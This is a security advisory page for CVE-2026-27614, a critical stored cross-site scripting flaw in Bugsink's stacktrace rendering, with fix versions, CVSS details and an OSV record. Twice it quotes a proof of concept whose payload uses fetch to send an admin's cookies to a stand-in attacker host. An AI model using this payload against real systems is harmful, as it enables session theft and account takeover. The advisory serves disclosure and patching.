CVE-2026-27614: Bugsink Cross-Site Scripting Vulnerability

CRITICAL
Advisory Identifier: GHSA-vp6q-7m36-pq3w
CVSS 9.3
CWE-79
Published
Advisory Summary

CVE-2026-27614 is a CRITICAL (CVSS 9.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Bugsink libraries in the PyPI ecosystem. The issue involves bugsink is vulnerable to stored xss via pygments fallback in stacktrace rendering. Remediation is available by upgrading affected packages to version 2.0.13.

CVE-2026-27614 at a Glance

CVE Identifier CVE-2026-27614
GHSA Identifier GHSA-vp6q-7m36-pq3w
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Bugsink
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-27614

To remediate this vulnerability, upgrade all affected Bugsink dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bugsink fixed: 2.0.13
pip install bugsink>=2.0.13
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bugsink

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-27614, inspect your installed packages using pip:

pip show bugsink

Analyze the terminal output to locate any version of Bugsink in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.13), your application is affected.

Note: The pip show bugsink command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Bugsink, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. ### Details When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. ```python # issues.py:75-77 - fallback path, no escaping if len(pygmented) != len(lines): return lines # raw HTML returned here # issues.py:111-113 - unconditional mark_safe return [mark_safe(line) for line in result] ``` ### Operational Signals Exploitation attempts are likely to generate the diagnostic event: ``` "Pygments line count mismatch, falling back to unformatted code" ``` Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review. ### PoC Send a Sentry event to `/api/<project-id>/store/` with a valid DSN: ```python import requests payload = { "exception": {"values": [{"stacktrace": {"frames": [{ "filename": "app.rb", "lineno": 2, "pre_context": ["<<~HEREDOC", " foo", "HEREDOC"], "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>", "post_context": [] }]}}]} } requests.post( "http://bugsink-host/api/<project-id>/store/", json=payload, headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"} ) ``` Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately. ### Impact This is a stored XSS vulnerability. Successful exploitation requires: * The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it). * The Bugsink ingest endpoint is reachable to the attacker. * An administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

CVE-2026-27614 Affected Bugsink Versions

1 component(s)
Fixed Versions:
2.0.13
Product / Package Ecosystem Affected Versions Fixed Version
bugsink
PyPI
< 2.0.13
2.0.13

References

Frequently Asked Questions

What is CVE-2026-27614?
CVE-2026-27614 is a security vulnerability in Bugsink involving Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Bugsink versions are affected?
Affected versions include releases prior to 2.0.13 across affected packages: bugsink.
What version fixes CVE-2026-27614?
Upgrading to 2.0.13 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bugsink affected?
Yes, bugsink is affected in releases prior to 2.0.13. Upgrade your dependency to 2.0.13 or later.
What is the CVSS score of CVE-2026-27614?
CVE-2026-27614 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-27614?
CVE-2026-27614 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-27614?
Run the dependency tree command: 'pip show bugsink'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp6q-7m36-pq3w",
  "modified" : "2026-02-25T16:06:00Z",
  "published" : "2026-02-25T16:06:00Z",
  "aliases" : [ "CVE-2026-27614" ],
  "summary" : "Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering",
  "details" : "### Summary\n\nAn unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.\nThe payload executes only if a user explicitly views the affected Stacktrace in the web UI.\n\n### Details\n\nWhen Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.\n\n```python\n# issues.py:75-77 - fallback path, no escaping\nif len(pygmented) != len(lines):\n    return lines  # raw HTML returned here\n\n# issues.py:111-113 - unconditional mark_safe\nreturn [mark_safe(line) for line in result]\n```\n\n### Operational Signals\n\nExploitation attempts are likely to generate the diagnostic event:\n\n```\n\"Pygments line count mismatch, falling back to unformatted code\"\n```\n\nInstallations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)\nmay see this message as an issue. While the condition can occur benignly, unexpected\noccurrences, especially from unusual languages (specifically ruby), warrant review.\n\n\n### PoC\n\nSend a Sentry event to `/api/<project-id>/store/` with a valid DSN:\n\n```python\nimport requests\n\npayload = {\n    \"exception\": {\"values\": [{\"stacktrace\": {\"frames\": [{\n        \"filename\": \"app.rb\",\n        \"lineno\": 2,\n        \"pre_context\": [\"<<~HEREDOC\", \"  foo\", \"HEREDOC\"],\n        \"context_line\": \"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>\",\n        \"post_context\": []\n    }]}}]}\n}\n\nrequests.post(\n    \"http://bugsink-host/api/<project-id>/store/\",\n    json=payload,\n    headers={\"X-Sentry-Auth\": \"Sentry sentry_key=<dsn-public-key>, sentry_version=7\"}\n)\n```\n\nOpen the event in the bugsink UI as any admin. Cookie exfiltrates immediately.\n\n### Impact\n\nThis is a stored XSS vulnerability.\n\nSuccessful exploitation requires:\n\n* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).\n* The Bugsink ingest endpoint is reachable to the attacker.\n* An administrator explicitly views the crafted event in the UI.\n\nUnder those conditions, the attacker can execute JavaScript in the administrator’s browser\nand act with that user’s privileges within Bugsink.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bugsink"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.13"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.12"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27614"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097ee9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bugsink/bugsink"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bugsink/bugsink/releases/tag/2.0.13"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T16:06:00Z",
    "nvd_published_at" : "2026-02-25T03:16:05Z"
  }
}